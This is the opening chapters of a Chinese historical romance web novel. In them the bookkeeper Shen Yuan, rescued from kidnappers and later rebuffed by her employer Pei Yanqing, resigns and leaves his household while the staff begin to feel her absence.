《夺娇鸢》
1. 001
柴房地面污糟,沈鸢蜷缩在角落,分不清外头是昼是夜。麻绳勒得手腕发痛,鼻息间萦绕着那股若有若无的甜腻香气,钻进肺腑便化作一团火。
只听柴房外一阵哄闹,木门被人一脚踹开。迷糊间,一席玄色身影闯入,一股强劲之力将她扣入怀中。
熟悉的松木香,夹杂着风雪的寒气,刀刃上的血珠顺着锋口滴落,溅在她脸上,滚烫灼热。
可那股火越烧越旺,烧尽她神智。她扯开领口,想散一散热气,却被人按住手腕。
沈鸢顺势攀附在男子身上,像溺水之人抓住浮木。他手臂有力,箍在她腰间,掌心却凉,一遍一遍抚过她滚烫的皮肤。
“热……”
她低声呢喃,破碎不成句,唇突然被堵住。
男子掌心清凉,她感受着他指腹的薄茧。他贴在她耳边,气息拂过耳廓。
那掌心覆上她的小·腹。凉意隔着薄薄一层中衣渗入,像夏日骤雨落在滚烫石板上,激起一片细微的水汽。
她不受控地拱起腰·身,像要将那点凉意吞·进去,又像被烫得无处可逃。
那凉意渐渐化作温热,向四肢百骸蔓延,将体内那火一寸寸压下去,又撩拨出另一重渴。
“阿鸢……”
那声音低沉,薄茧指腹压在她唇上,带着甜腥味……
*
沈鸢猛然转醒,口中干涩发苦,喉间像被砂纸碾过。
帐幔低垂,炭盆里余烬泛着暗红的光。她盯着帐顶看了许久,才渐渐认出这是自己在裴府的卧房。那间污糟的柴房,那些匪徒狰狞的面孔,都已是昨日之事。
三日前,她出门查铺,马车行至半路被人拦下,来人称裴晏清在田庄出了意外,请她速去。她来不及多想便上了那辆陌生马车,待觉察不对,人已入匪窝。
如今心中后怕渐散,取而代之的是一种说不清道不明的空落。
她撑起手臂,锦被滑落,露出亵衣领口一片青紫痕迹。那些印记从锁骨蔓延向下,深深浅浅,触目惊心。
守在外间的丫鬟碧桃听见动静,掀帘进来,面露欣喜。
“姑娘躺了半日,总算醒了。”碧桃端着药碗近前,将帐幔挂上银钩,“大夫说姑娘身子亏虚,又受了……惊吓,须得静养几日。”
沈鸢接过药碗,黑沉的药汁映出她苍白的面容。她垂下眼睫,那夜的记忆如碎瓷片一般,锋利零散。
那梦境缥缈,沈鸢分不清真假,苍白面庞却爬上一丝红晕,闭眼将药汁一饮而尽。苦味从舌尖蔓延至喉底,压住胃中翻涌的恶心。
“姑娘?”碧桃小心翼翼唤她。
“无碍。”沈鸢将药碗搁回托盘,手指微微发抖,“二爷……可安好?”
碧桃垂下眼帘:“二爷这几日都在衙门,未曾回府。”
未曾回府。
沈鸢咀嚼这四字,心底说不出是何滋味。
裴家商行树大招风,眼红的人不少,绑了她这个账房先生,无非是想套出裴家的账目往来。
沈鸢掀开锦被,赤足踩在地上,青砖的凉意从脚心窜上来,激得她打了个寒颤。
碧桃急忙拿了鞋袜来,沈鸢接过自行穿戴好。
“姑娘再歇歇吧。”碧桃嘴里絮絮叨叨,“大夫说要多休息,这才刚醒,怎么就下地了?那些账册又不会跑,晚两日再看也不迟……”
“拿过来吧。”沈鸢声音不大,却不容置喙,有些事需得赶快处理好。
碧桃张了张嘴,终究不敢再劝,转身去多宝阁取那摞账册。厚厚一叠,最上面几本边角已经磨毛。
沈鸢在临窗书案前坐下,推开雕花木窗,让冷风吹散室内郁结的药气。
院中那株老槐树尚未抽芽,光秃秃的枝丫伸向灰白的天空,几只麻雀缩在枝头,羽毛被风吹得蓬起。
她铺开账册,指尖抚过泛黄纸页上蝇头小楷。裴府田庄、铺面、族人供奉、节礼往来,每年经手银钱数以万计,她都得一一核对清楚。
幼时,沈父便在裴家做账房先生,因着沈父负责,深得裴老爷看重。
可四年前,裴老爷外出遇难,沈父相护,却伤了一条腿。
裴老爷感激沈父相救之恩,沈鸢珠算才能又出众,便高价聘沈鸢,做裴家账房。
当初裴老爷将这个担子交给她时,她才十六岁。
沈鸢没有让裴老爷子失望。四年来,裴家账目分毫不错,铺面收益年年见涨。
她十二岁便认识裴晏清。
那年初春,她随父亲到裴家做客。裴晏清弱冠之年,已是长身玉立,眉目间自带一股清贵之气。他站在庭院梅树下,零散的花瓣落在肩头,她怯生生躲在廊柱后偷看。
裴晏清对她微微一笑,将她唤过去,往她白嫩小手中塞了一把果子。
她攥着那把果子,手心出了汗,心跳得像揣了一只兔子。
后来她进了裴府做事,裴晏清待她和气,但也只是和气——像对待府中任何一个做事妥当的下人,客气而有分寸。
想来,裴晏清是记不住这些琐事的。
沈鸢研墨的动作微微一顿,墨锭在端砚中缓缓旋转,清水变成浓稠的黑色,映出她模糊的面容。
她收回思绪,手中墨锭已经研得太浓,几乎化不开。她换了清水重新研,手腕转动间,袖口滑落,露出小臂内侧几道淡红的痕迹。
沈鸢盯着那些痕迹看了片刻,将袖口拉下。
窗外风声渐紧,檐下铁马叮当作响。碧桃进来添茶,见她还在看账册,急得跺脚:“姑娘!都什么时辰了,晚膳还没用呢。”
沈鸢抬眼看了看窗外,天色已暗下来。
“搁着吧。”她低头继续翻账册,笔尖蘸了墨,在一处账目旁画了个圈,那笔银钱往来对不上,明日得去铺子里问。
碧桃无奈,将食盒打开,端出一碗鸡丝粥,两碟小菜,一屉桂花糕。热气袅袅升起,带着米香和桂花甜味,在冷空气中格外清晰。
沈鸢闻到粥香,胃里确实有些空落,便搁了笔,端起粥碗慢慢喝。鸡丝切得极细,粥煮得浓稠,入口即化,暖意从喉咙滑下去,在胃里慢慢散开。
“姑娘再歇歇吧,这账册明日再看也不迟。”碧桃见她用膳,心中宽慰。
“明日是明日。”沈鸢净了手,重新执笔,“铺面账目月底要查验,还有三日,须得赶出来。”
碧桃张了张嘴,到底不敢再说,只默默将灯芯挑亮些,又去添了两个炭盆。
夜色逐渐加深。
沈鸢伏在案前,灯花爆开,烛火跳了几跳。算盘珠子噼啪作响,在寂静的夜里格外清晰,一下一下,敲击人心。
外面突然传来脚步声。
沈鸢手中笔一顿。那步伐不快不慢,靴底踩在青石板上,声音沉稳有力——她在裴府四年,对这脚步声无比熟悉。
她从敞开的窗望出去,回廊上挂着灯笼,昏黄的光线将那人影拉长。<
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裴晏清一身玄色衣裳,面庞在夜色中半明半暗。
他未进屋,脚步顿在窗前。他侧过脸,灯笼光映出他冷硬的轮廓,声音不高,却字字清晰。
“沈鸢,你竟然犯如此糊涂之错,轻易被人哄骗。”
沈鸢手指一僵,笔尖在纸上顿住。
大概是沈鸢未作声,裴晏清忽而放缓语气,瞥了一眼她面前堆积如山的账册,“做好分内之事,我无需你如此。”
她心中一痛,喉间被堵住,还未开口解释,裴晏清已经转身,玄色衣角在夜风中一掠,人已离开院子。
脚步声渐远,消失在回廊尽头。
碧桃半晌没敢动。炭盆里的余烬爆开一个火星,细微的声响在寂静中格外刺耳。
沈鸢垂下眼睫,手中笔握得紧了些,笔尖在纸上洇出一个墨点,像一滴眼泪。她盯着那个墨点看了几息,将那张纸揭起来揉了,丢进纸篓。
“姑娘……”碧桃小心翼翼唤她。
“无碍。”沈鸢声音平稳,重新铺开一张纸,提笔继续对账。
算盘珠子噼啪作响,一下一下,比方才更快更急。
窗外风声渐紧,檐下铁马被吹得乱撞,叮叮当当,像碎了一地的冰碴。远处裴晏清书房的灯,不知何时已经熄了。
灯花又爆了一次,烛泪沿着烛身缓缓淌下,凝固成乳白色的痕迹。
碧桃终于忍不住,小声道:“姑娘,二爷他……或许是太忙了。”
沈鸢没有应声。
她当然知道他忙。匪徒虽然被擒,但幕后主使尚未落网,裴晏清要跟进案件。
她落入匪窝,裴晏清能够亲自搭救,已然是天大的情分。
窗外更夫敲过三更,梆子声沉闷。
碧桃已经靠着椅背打盹,手中的团扇滑落在地。沈鸢捡起团扇,轻轻搁在桌上,起身取了件外衫披在碧桃身上。
她走到窗前,夜风裹着早春的寒意扑面而来,吹散室内的闷浊。
四更天时,账册终于理完大半。
沈鸢搁下笔,活动了一下僵直的手腕。烛火将尽,只剩短短一截,烛泪堆积如小山。她吹熄了灯,才起身往内室走去。
碧桃被脚步声惊醒,揉着眼睛跟上来,替她铺好被褥,又灌了汤婆子塞进被中。
沈鸢躺下去,锦被柔软,汤婆子的暖意从脚底慢慢往上爬,驱散了骨缝里的寒气。她闭上眼,却睡不着。
那甜腻的香气似乎还残留在鼻息间,那滚烫的掌心似乎还覆在她小腹上。
她盯着帐顶的暗纹看了许久,才慢慢平复呼吸。被中的汤婆子已经有些凉了,暖意消退,寒意从四面八方涌上来。
三日后便是裴晏清的生辰。
往年她都会精心准备——有时是一方好砚,有时是一柄折扇,有时是亲手缝制的香囊。他收下时仅是道谢,想来有时连盒子都不曾打开,搁在一旁便忘了。
今年裴晏清的生辰礼,沈鸢三月前便已备下,如今看来,大概是送不出去了。
沈鸢翻了个身,面朝墙壁。墙上糊着银白色的壁纸,月光从窗缝漏进来,在壁纸上画出一道细细的银线。
窗外风声渐歇,远处传来更声,微弱而遥远。天边隐约泛起鱼肚白,夜色从浓黑褪成深蓝,又渐渐变浅。
沈鸢在这将明未明之际,沉沉睡去。
檐角残雪尚未化尽,春日寒气便从窗棂缝隙中渗进来,丝丝缕缕,侵入人心……
2. 002
裴晏清生辰这日,天色阴沉,云层压得极低,像是要落雪。
沈鸢早起梳洗,对镜挽发,铜镜映出一张素净面庞,眉眼淡淡,唇色浅白。她挑了一件藕荷色褙子,领口绣几枝忍冬纹样,不张扬,也不算失礼。
碧桃替她簪上一支白玉兰花簪,退后一步端详,笑道:“姑娘今日气色真好。”
“前头可热闹?”沈鸢起身,将袖口抚平。
“热闹着呢。”碧桃跟在后头,“来了许多商行的掌柜,还有几个官面上人物,二爷此刻正在前厅待客。”
沈鸢脚步未停,穿过回廊,绕过影壁,往前厅去。
裴府前厅今日布置一新,檐下挂两盏大红绢纱灯笼,门楣上贴金色寿字纹样。院中摆十几桌席面,红木圆桌铺暗红桌布,碗碟摆放整齐。
她穿过人群,目光在席间扫过。
裴晏清坐在主桌,今日一身石青色衣裳,领口镶玄色缘边,腰间束一条白玉钩带,正垂眸与身旁一位官员谈话。
沈鸢只看一眼便慌张移了目光,寻了个靠边位置坐下。
宴席很快开始,席间觥筹交错,众人轮番向裴晏清敬酒。
裴晏清来者不拒,酒到杯干。他饮酒姿态好看,仰头时喉结滚动,酒液顺着喉咙滑下,不见半分醉意。
沈鸢远远看着,指尖无意识摩挲杯沿。
她认识他多年,知道他酒量好,却也知道他从不贪杯。今日生辰,不好拂了宾客面子,才一杯接一杯饮下去。
“沈姑娘,二爷今日高兴,咱们也喝一杯?”邻座一位管事举杯过来,脸露笑意。
沈鸢端起茶杯:“我身子不适,以茶代酒,还望见谅。”
管事连连摆手:“不妨事不妨事,姑娘身子要紧。”
茶水温热,入喉却泛起一丝涩意。
宴席过半,气氛愈发热闹。几杯酒下肚,众人说话声也大了起来。
这时,一人摇摇晃晃走到裴晏清跟前。此人四十余岁,瘦长脸,留一撮山羊胡,一双眼睛滴溜溜转。
“二爷,李某敬您一杯!”李东家举杯,嗓门洪亮,“二爷年轻有为,裴家商行在您手里,那是蒸蒸日上,李某佩服,佩服!”
裴晏清端起酒杯,微微颔首,正欲饮下。
李东家却突然停住:“二爷且慢!李某想与二爷连饮三杯,恭贺二爷福寿康宁。”
连饮三杯,在酒桌上不算大事,可李东家语带强迫,让人不大舒服。
裴晏清神色未变,淡淡道:“李东家好意,裴某心领了。”
他仰头饮尽杯中酒,又斟一杯,再饮尽。第二杯下肚,动作依然从容。
李东家赶忙斟满第三杯,亲手递到裴晏清面前:“二爷好酒量!”
裴晏清伸手去接,指尖刚触到杯壁……
“二爷今日饮得不少了。”一声音道,不轻不重。
沈鸢站起身,端着酒杯走到裴晏清身侧。她面上带笑,目光却定定看着李东家:“李东家盛情,二爷心领。这一杯,我代二爷饮了,如何?”
话音落下,席间又是一静。
李东家愣了一瞬,旋即笑出声:“姑娘好胆识!只是这酒是敬二爷的,姑娘代饮,怕是不大合适吧?”
“不怕李东家笑话,前几日我犯了个错,二爷对我们下人亲厚,不舍重罚。”沈鸢笑意不减,“今日算借花献佛,特意向二爷赔罪。”
她说这话时腰背挺直,声音不卑不亢,一双眼睛清凌凌看着李东家。
李东家被她看得有些不自在,干笑两声:“既然姑娘这么说,那便……”
“退下。”
一道低沉声音从身侧传来,低沉却如一盆冷水兜头浇下。
沈鸢愣住,裴晏清不知何时已起身,居高临下看着她。双眸深沉,看不出情绪,却让沈鸢后背一阵发凉。
席间彻底安静,落针可闻。
沈鸢站在原地,手中酒杯还举着,酒液微微晃动,映出她苍白面容。她嘴唇翕动,喉咙如被人掐住,发不出声音。
四周目光像针扎过来。有人面露同情,有人幸灾乐祸,更多人低头喝茶,假装什么都没看见。
裴府中人,见此状况,甚是诧异,沈鸢行事周到得体,从未向今日这般失态。
沈鸢慢慢放下酒杯,垂首道:“是。”
她转身往回走,步子稳,脊背挺直,没有半分慌乱。甫一坐下,她端起茶杯,茶已凉透,入口苦涩,却面不改色饮尽。
席间再次热闹起来,仿佛方才那一幕从未发生。
沈鸢坐在角落里,垂着眼看杯中残茶。茶叶卷曲成团,沉在杯底,像她此刻蜷缩的心。
宾客陆续告辞,沈鸢没有着急走,她站在廊下。
只见两个小厮一左一右搀着裴晏清回松云居,他抬手推开,自己往前走,走了几步又扶住廊柱,站定喘气。
沈鸢站在暗处,风吹起衣袍一角,发丝散落几缕,显出几分狼狈。
她犹豫片刻,当是最后放·纵一次,缓缓走上前。
“二爷,我扶您回房。”
裴晏清抬眼看她,目光有些涣散,似乎辨认了一瞬,才认出她是谁。他没有推开,任由她搀住手臂。
他身上酒气浓烈,混着淡淡檀木香,沈鸢贴近他身侧,他体温透过衣料传来,滚烫灼人。
回廊曲折,灯笼昏黄,两人影子投在地上,交叠在一起。
裴晏清脚步不稳,几次险些摔倒,沈鸢用力撑住他,手臂酸痛,额头沁出细密汗珠。她咬牙撑着,一步一步往前挪。
他屋中烛火未点,光线昏暗,只有窗外透进一点月光,照在他侧脸上,轮廓分明,眉目间带着倦意。
沈鸢扶他到榻上躺下,又寻到火折子,将案上烛台点亮。
她去外间换了一壶热茶,倒了一杯端到裴晏清面前。
“二爷,喝口茶醒醒酒。”
裴晏清也没有应声,沈鸢将茶杯搁在桌上,站在一旁,不知该走还是该留。
烛火噼啪作响,烛泪顺着烛身缓缓淌下。她看着裴晏清面容,一寸一寸,像要把这张脸刻进骨血。
沈鸢收回目光,转身欲走,手腕忽然被人握住。
那力道极大,箍住她手腕,她整个人被拽过去,踉跄一步,跌进裴晏清怀中。
沈鸢僵住,不敢动。
裴晏清低下头,额头抵在她肩窝处,呼吸滚烫,喷洒在她脖颈皮肤上,激起一层细小颤栗。
“二爷?”她轻声唤他,声音发抖。
裴晏清没有应声,将她箍得更紧,脸颊贴在她颈侧,滚烫皮肤贴着她冰凉脖颈,烫得她想要逃离。
他身上酒气熏得她头晕,那檀木香钻进肺腑,像一把火,从胸腔烧到四肢百骸。
沈鸢闭上眼,手指攥紧他衣襟,指节泛白。
明日醒来,裴晏清不会记得,可她还是贪恋这一刻温暖。
裴晏清忽然抬头,目光涣散,他抬手,指腹抚过她脸颊,薄茧刮过皮肤,粗糙而温柔。
沈鸢屏住呼吸,见裴晏清俯下身
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,却突然猛地推开她。
她被推得踉跄后退几步,后背撞上博古架,架上书籍哗啦落下几本,砸在地上,扬起细微灰尘。
裴晏清往后一仰,靠回榻上,闭着眼,似乎又睡了过去。
沈鸢站在博古架前,胸口剧烈起伏,手指攥紧袖口,指节泛白。她衣襟被攥出褶皱,发丝散乱,烛火在他脸上投下明灭光影。
心跳太快,快得像要从胸腔里蹦出来。
沈鸢转身就跑,脚步凌乱,裙摆绊住脚踝,几次险些摔倒。
*
裴晏清房中,烛火燃尽最后一截,跳了两跳,而后熄灭。
室内重新陷入黑暗,只有窗外月光透进来,冷冷清清铺在地上。
裴晏清靠在榻上,似乎睡熟了,呼吸平稳绵长。
过了不知多久,他缓缓睁眼。
目光清明,不见半分醉意。
衣襟处几道指痕清晰可见,他看了片刻,伸手抚平,动作缓慢。
起身时,脚下踩到一物什。
他低头,借着月光看清,一方月白色素绢,角上绣一枝忍冬纹样,针脚细密。
裴晏清弯腰拾起,手帕柔软,带着淡淡皂角气味,还有一丝若有若无女儿香。
他捏着手帕看了片刻,目光落在那枝忍冬纹样上。忍冬,耐寒越冬,不凋不谢,是沈鸢最喜欢绣花纹样。
裴晏清唇角微微弯起一个弧度,他将手帕丢在桌上,像丢一件脏东西。
“恶心呀!”
声音不大,在空荡书房里却格外清晰。
门外,沈鸢僵住。
跑出不远,她在回廊转角站了许久,心跳渐渐平复,后怕却像潮水一样涌上来。
那条用了三年的手帕,落在了裴晏清房中。
若是被旁人捡去,传出去不知会编排出什么话。她折返回去,想趁裴晏清未醒,悄悄取回。
刚走到门口,便听见那句话。
她听得清清楚楚,每个字都像一把刀,扎进她心口,刀刀见血。
月光照在她脸上,苍白如纸。她嘴唇微张,喉咙里像堵了一团棉花,发不出任何声音。
室内传来脚步声,沈鸢猛地回神,转身就跑。
这次她径直跑回院子,冲进卧房,关上门。
碧桃还在门外守着,见她回来,刚要开口,只见门突然合上,话又咽了回去。
沈鸢靠在门板上,慢慢滑坐在地。
双手撑在身侧,掌心伤口渗出血珠,染红青砖地面。
她低着头,肩膀颤抖,不知过了多久,她慢慢起身,走到桌前。
桌上摆着一只锦盒,红木质地,雕如意纹样,她为裴晏清准备的生辰礼——一件里衣。
月白色素绫面料,领口袖口绣忍冬纹,针脚细密,每一针都是她亲手缝制。
里衣在烛光下泛着柔和光泽,沈鸢捧着里衣看了许久。
烛火跳动,在她脸上投下明灭光影。
她忽然笑了一下。唇角弯起,笑意却没有到达眼底。
这些年来,她以为只要足够用心,足够有用,总能让他高看一眼。
可在他眼里,她不过是一个存了不良心思的下人。
沈鸢将脸埋进里衣中,里衣柔软细腻,贴着皮肤,带着淡淡皂角气味。她闭上眼,深吸一口气,像要把这些年所有念想都吸进肺脯,然后一并吐出。
风熄灭烛火,室内陷入黑暗,只有月光从窗缝漏进来,照在沈鸢身上,冷冷清清,屋外窸窸窣窣落了雪。
3. 003
沈鸢坐在桌前,手里依旧拽着那件里衣,素绫面料被她攥出褶皱,忍冬纹样在烛火下泛着细密银线光泽。
窗外雪落无声,偶尔一阵风过,檐下铁马叮当响一声,冷清又遥远。
碧桃来敲过两次门,一次汤婆子,一次送膳食。沈鸢没有应声,碧桃便在门外站了片刻,将食盒搁在廊下,脚步声渐渐远去。
沈鸢起身,将里衣叠好,每一道折痕都压得平整。叠完却不知该放何处,捧在手中站了许久,最终只得放回锦盒中。
她走到墙角那只樟木箱前,拉开箱扣。
箱子里收着她四年来的珍藏——裴晏清随手赠她的书册,扉页有他批注,字迹清隽;某年中秋她替他斟酒,他道谢时送的一套酒杯……
她一件一件取出,摆在身前。
沈鸢闭上眼,深吸一口气,起身去外间取炭盆。
炭盆里余烬尚存,她用钳子拨开灰烬,露出底下暗红炭火。添几块碎炭,火苗窜起,舔舐新炭,发出细微噼啪声响。
她将一件件物什丢进炭盆,火舌立即卷起,吞没一切。
端砚烧不毁,她起身走到窗前,推开窗,用力掷出。砚台落在院中青砖地面,碎成几块,声响在雪夜中格外清脆。
碧桃被惊醒,立即从耳房出来,脚步声急促靠近。可沈鸢插上门闩。
“姑娘?”碧桃拍门,声音发颤,“姑娘怎么了?”
“无事。”沈鸢背靠门板,声音平静,“回去早些歇息!”
碧桃在门外站了很久,不再多问,脚步声慢慢远去。
沈鸢回到炭盆前,继续烧。
锦盒、书册、荷包、笔洗、镇纸……四年来积攒之物,一件一件丢进火焰。火光在她脸上跳动,明灭不定,映出一双干涸眼睛,没有泪,只有炭火倒影。
盆中只剩一堆灰烬,轻飘飘,风一吹便散。
沈鸢跪坐在地上,盯着那堆灰烬看了很久。
窗外雪停了,风也歇了,天地之间一片寂静,只有炭火余烬偶尔发出细微崩裂声。
她慢慢起身,膝盖跪得发麻,扶住桌沿站稳,走到铜盆前,洗净手上面灰迹。
水冰凉刺骨,她洗了很久,指缝间每一处墨痕都搓干净,手背那个烫伤红点被水浸得发白。
铜镜中映着一张苍白面庞,眼眶微红,唇色浅淡,鬓发散落几缕。
她看铜镜片刻,抬手将发丝抿到耳后,重新挽髻。
镜中人眉眼淡淡,看不出悲喜。
窗外天色渐渐转亮,从深蓝褪成灰白,又染上一层薄薄晨光。雪后初晴,日光透过窗纸照进来,落在青砖地面,亮得刺眼。
沈鸢换了一身石青色衣裳,她将袖口抚平,衣襟理正,对着铜镜最后端详一眼。
镜中人面色苍白,但脊背挺直,不见半分萎靡。
她走到书案前,铺开一张新纸,研墨。
墨锭在端砚中缓缓旋转,清水变浓稠,化不开黑。她提起笔,胃中不适再次翻涌,笔尖蘸饱墨汁,手指颤抖,悬腕静置片刻,落笔。
“沈鸢入府四载,蒙东家厚待,感激不尽。今因身体不适,请辞账房一职,望二爷恩准。”
辞呈写得简短,字迹工整,不疾不徐,墨迹未干泛湿润光泽。她也不顾,将纸页折叠成形,装入信封。
沈鸢将信揣入袖中,转身拉开门。
冷风扑面而来,裹挟雪后清冽气息,灌进领口,激得她打了个寒颤。院中积雪寸余,青砖地面覆一层白,端砚碎片半埋在雪中,露出漆黑一角。
碧桃端着铜盆从耳房出来,见她已穿戴整齐,愣在原地。
“姑娘要去哪儿?”
“松云居。”沈鸢走过她身侧,脚步未停。
碧桃端着铜盆跟了两步,欲言又止,终究没敢跟上来。
沈鸢穿过回廊,绕过影壁,往松云居去。
雪后,庭院寂静,檐下冰棱垂挂,日光照射下晶莹剔透,偶尔一滴水珠滑落,砸在青砖上,发出细微声响。
院中那株老槐树枝丫覆雪,压得低垂,几只麻雀在雪地蹦跳,留下细碎爪印。
她走过回廊转角,脚步微微一顿。
青砖地面落了一层雪,将所有痕迹覆盖,看不出曾有人在此驻足、凝望、然后转身逃跑。
沈鸢收回目光,继续往前走。
松云居三间阔朗,门前站着一个守门小厮,见她过来,躬身行礼。
“沈姑娘,二爷尚未起身。”
“我等着。”沈鸢站到廊下,面朝庭院,背靠廊柱。
小厮看了她一眼,没有多言,垂手退到一旁。
日光渐渐升高,雪地反光明晃晃,刺得人眼睛发酸。
沈鸢眯起眼,看着院中积雪一寸一寸消融,露出底下青砖本色。檐下冰棱开始滴水,起初一滴一滴,后来连成细线,砸在地上汇成一小洼水。
不知等了多久,房门从内打开。
裴晏清一身玄色衣裳,发束玉冠,面庞清隽,不见宿醉倦意。他目光落在沈鸢身上,带着审视。
沈鸢上前一步,从袖中取出信封,双手递上。
“二爷,沈鸢请辞。”
声音平稳,不见波澜,字字清楚。
裴晏清目光从她身上移开,落在她手中信封上,停留一瞬。他没有接,也没有说话,然后收回视线,重新落回她身上。
“放着。”
声音平淡,像在处理一件寻常琐事,听完便罢,不值得多费一个眼神。
沈鸢举着信封,指尖微微发凉。
她不得不走进屋,将信封放在书案边角,搁在砚台旁,月白信封便安安静静躺在那儿。
沈鸢直起身,退后一步。
“二爷可还有吩咐?”
她问这话时目光落在裴晏清侧脸上。他垂眸看书,睫毛低覆,鼻梁挺直,唇线微抿,晨光从窗棂漏进来,照在他面庞上,轮廓分明。
这张脸她看了多年,每一处都刻进骨血。此刻再看,却像隔了一层薄雾,熟悉又陌生。
裴晏清没有抬眼。
“无。”
一个字,干脆利落,不带半分犹豫。
沈鸢喉咙微微发紧,她张了张嘴,想说什么,终究未再出声。
她垂首,福了一礼,而后转身离开。
步子稳,脊背挺直,与昨日宴席上被喝退时一样,没有半分慌乱。裙摆拂过门槛,带起细微灰尘,在晨光中浮动。
没有挽留,甚至没有一句“为何要走”。那封辞呈安静躺在书案边角,像一件无关紧要物什,搁在那里便忘了。
沈鸢走过回廊,脚步不疾不徐。
庭院安静,日光洒在青砖地面,积水映出她模糊倒影,腰背挺直如松。
院中那株老槐树,枝丫覆雪,在日光照耀下开始融化。水滴顺着树枝滑落,
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一滴,又一滴,砸在雪地上,砸出一个个细小坑洼。
沈鸢从树下走过,一滴水恰好落她肩头,沁进衣料,冰凉渗入皮肤。
穿过回廊,绕过影壁,回到她的院子。碧桃站在门口,手中攥着帕子,眼眶微红,见她回来,嘴唇翕动,最终只唤一声“姑娘”。
“帮我收拾东西。”沈鸢走进屋,声音平静,“我今日便离开裴府。”
碧桃愣住,眼泪啪嗒掉下来,却不敢多问,转身去收拾行李。
“碧桃,你就留在裴府吧!”
碧桃闻言,顾不上收拾行李,立即跪到沈鸢面前,“姑娘,不要赶我走,您从不把我当奴婢,你走到哪,奴婢就跟到哪。”
碧桃是裴府中人,她带不走,也不想她和自己去过苦日子。
沈鸢叹息一声,站在窗前,推开雕花木窗。冷风灌入,吹散室内残余烟火气。
碧桃很快收拾好行李,两只包袱,一只装衣裳,一只装书册账本——那是沈鸢自己历年所记,与裴家无关。
沈鸢最后看了一眼这间屋子。
墙上壁纸银白色,炭盆里灰烬尚温,桌上砚台洗净,笔架悬几支毛笔,窗台上那盆水仙已经开败,花瓣枯黄卷曲,垂着头。
她转身,走出门。
碧桃跟在身后,一手拎一只包袱,眼泪擦了又流,流了又擦。
沈鸢过处,一众下人窃窃私语,字字句句像细针扎在她身上。
“哎!听说她存了不该有的心思,攀咱们裴府这高枝不成,觉得丢脸自行离开。”
“才不是,她手脚不干净,账册出了问题,才被二爷赶走。”
碧桃擦掉眼泪,攥紧拳头想冲过去辩驳,沈鸢按住她手腕,轻轻摇头,示意她不必理会。
旁人的嘴堵不住,自己的路要走得正。
沈鸢没回头。
出了裴府侧门,街上积雪已扫净,青石板路面湿漉漉,倒映灰白天光。一辆马车停在门口,车夫正往车辕上铺毡垫,见她出来,忙跳下来。
“姑娘,去哪里?”
沈鸢思索片刻。
她在京城,一直住裴府,是因账房先生需随时核账。如今辞了差事,连落脚之处都没有。
沈鸢发现,从一开始,她便错了。
“直接出城。”
车夫应了一声,接过碧桃手中包袱,放进车厢。碧桃扶沈鸢上车,想要跟着爬上去,却被沈鸢拦住。
“碧桃,照顾好自己!”
“姑娘……”碧桃眼泪汪汪,她跟在沈鸢身边多年,知道她做下决定,便不轻易改变。
马车启动,车轮碾过湿滑石板,发出咕噜声响。
沈鸢靠在车厢壁上,闭着眼。车厢内光线昏暗,马车微微晃动中,她感觉五脏六腑都在翻涌。
车轮声咕噜咕噜,一下一下,像碾在她心口。街边传来热闹声,世间万物照常运转,只有她该回归原位。
她那深藏的爱慕,终究是给裴晏清造成困扰。
马车穿过城门,驶上官道。城外田野覆一层薄雪,麦苗从雪下露出一点青绿,在寒风中瑟瑟发抖。
远处村庄炊烟袅袅,灰白色烟柱升起,在冷空气中缓缓散开。
沈鸢看着窗外渐远城墙,青灰色墙砖斑驳,墙头覆雪,城楼旗幡被风吹得猎猎作响。
往后怎么办,她也不知道。
但是,她很想阿爹!
4. 004
沈鸢出城不过半日,便发起高热。车夫王叔死活不肯再赶路,就近找了家客栈将她安顿下来。
她烧得迷糊,眼前晃来晃去都是裴晏清的脸。那时他抱着她,面颊贴着他坚实胸膛的滚烫触感,此刻竟分外清晰。
可那也是裴晏清唯一一次抱她,也会是最后一次,或许从来就不曾有过。
在他心里,她大概从来都不配。
沈鸢翻了个身,将脸埋进枕里,指尖攥紧了被角,泪水无声滑进秀发深处,“裴晏清……”
*
“沈鸢呢?”
裴晏清踏进议事堂,目光一扫。不见素日立在末席的那道靓丽身影,他脚步微顿,脸色沉了下来。
堂中一静。管事们面面相觑,他们听闻沈鸢走了,具体原因不得而知,谁也不敢多言。
裴晏清没再问,径直走向主位落座,面色如常,只是按在扶手上的指节,微微收紧。
这一小插曲,似乎并不影响议事。
管事依次上前禀事,田庄、铺面、货运、采买,桩桩件件,口齿清楚,条理分明。
裴晏清听着,偶尔问一句,句句切中要害。
轮到核对账目时,两个账房先生起身,将厚厚一摞账册呈上。
裴晏清接过来,目光停留片刻,指尖缓缓翻动纸页。账目做得干净,挑不出一丝错处。
往年这个时候,账册总会有些零星疏漏,沈鸢会在页边标注,写明原因,何时补正。
如今这些标注全不见了。裴晏清合上账册,指尖在封面上轻叩两下,抬眼看向两个账房。
“这些账目,是谁整理?”
其中一个年长账房上前一步,躬身答道:“回二爷,三日前,沈姑娘便叫了我们二人,将账本之事交代清楚。季度结算、铺面核对、族人供奉,每一笔都列了清单,嘱咐我等按期查验。”
三日前。
裴晏清手指微微一顿。
三日前,沈鸢刚从匪窝被救回,他记得那夜回府,她房中灯亮着,他以为她是在着急补落下的账目。
“二爷?”账房见他久久不语,小心翼翼唤一声。
裴晏清收回思绪,目光落在账册封面上。他手指搭在封皮边缘,指腹摩挲过那层毛边,纸张柔软。
堂中一片安静。裴晏清忽而笑了,唇角微扬,笑意却未达眼底。他抬眸看向两个账房,语气淡淡。
“怎么,这裴家商行还得她来安排不成?”
话音落下,堂中气氛一紧。两个账房立即躬身告罪,额头沁出细密汗珠。
“属下不敢。”
裴晏清未再多言,垂眸翻开另一本账册。纸页哗啦声响,在安静厅堂中格外清晰。他目光扫过每一行数字,面色平静,看不出喜怒。
一众管事对视一眼。沈姑娘不在第一日,议事就如此艰难。
半晌,一个须发花白的老管事轻咳一声,斟酌开口:“二爷,沈姑娘虽是一介弱女子,但才能出众,这些年在账目上从未出过差错。老朽在裴家做了二十余年,见过不少账房先生,论精细程度,无人能及。”
话音落,旁边几人小声附和。
“上次绸缎庄那批货,若不是沈姑娘发现账目对不上,咱们怕要亏上千两。”
声音低低,似乎怕被斥责,但又忍不住要说。
裴晏清翻账册的动作未停,纸页声响压过那些低语。他面色如常,仿佛那些话不过是耳旁风。
老管事还想继续说,被身旁人轻扯袖口,便闭上嘴,端起茶盏喝茶。
厅中重归安静,只剩纸页翻动声和檐下雀鸟啾啾鸣叫。日光渐渐升高,从窗棂漏进来的光斑从青砖地面爬上桌腿,一寸一寸,缓慢移动。
